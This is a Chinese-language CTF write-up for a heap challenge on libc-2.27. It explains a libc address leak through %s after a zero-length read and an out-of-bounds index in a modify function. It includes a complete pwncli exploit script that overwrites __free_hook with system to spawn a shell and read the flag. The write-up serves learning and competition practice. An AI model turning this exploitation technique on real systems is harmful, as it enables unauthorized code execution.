总结
根据本题，学习与收获有：
read当长度为0的时候，会返回0%s遇到\0才会结束输出，遇到\n并不会结束输出- 某个地址存储了
__free_hook的地址，搜一把就得到了
题目分析
checksec
远程环境为libc-2.27.so
漏洞点
主要在modify中，有一个打印地址和索引溢出
利用思路
在buy函数中，会有一个置0的操作：
当时在这里卡了一段时间，后来发现，如果输入长度为0，就不会将chunk的fd某个字节置为0了，那么结合modify函数中的%s即可泄露出地址。
最后利用过程即为：
- 利用
%s和read为0的第三个参数，泄露出libc的地址
- 修改索引为
-2处的拿个地址为存储着__free_hook的地址
- 修改索引为
-22的内容，就是修改__free_hook，修改为system
- 释放带有
/bin/sh的块即可获取shell
Exp
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#!/usr/bin/python3
from pwncli import *
cli_script()
p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']
def add(data="a\n"):
p.sendlineafter("EMMmmm, you will be a rich man!\n", "1")
p.sendafter("I will give you $9999, but what's the currency type you want, RMB or Dollar?\n", data)
def over():
p.sendlineafter("EMMmmm, you will be a rich man!\n", "3")
def buy(length:int, data="a\n"):
p.sendlineafter("Now, buy buy buy!\n", "1")
p.sendlineafter("How long is your goods name?\n", str(length))
if length != 0:
p.sendafter("What is your goods name?\n", data)
def delete(idx:int):
p.sendlineafter("Now, buy buy buy!\n", "2")
p.sendlineafter("Which goods that you don't need?\n", str(idx))
def modify(idx:int, data="a\n"):
p.sendlineafter("Now, buy buy buy!\n", "3")
p.sendlineafter("Which goods you need to modify?\n", str(idx))
p.recvuntil("OK, what would you like to modify ")
msg = p.recvline()
p.send(data)
info("msg recv: {}".format(msg))
return msg
def exp():
for i in range(20):
add("a" * 7)
over()
buy(0x500) # 0
buy(0x10, "/bin/sh\x00\n") # 1
# get unsorted bin
delete(0)
buy(0) # 2
# leak libc addr
msg = modify(2)
libc_base_addr = u64(msg[:6].ljust(8, b"\x00")) - 0x3ec0d0
log_address("libc_base_addr", libc_base_addr)
# find the memory stores __free_hook address
# use overflow index to change __free_hook's content to system
modify(-2, p64(libc_base_addr + 0x3eaee8)[:7])
modify(-22, p64(libc_base_addr + libc.sym['system'])[:7])
# get shell
delete(1)
p.sendline("cat /flag")
p.interactive()
exp()
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引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
roderick
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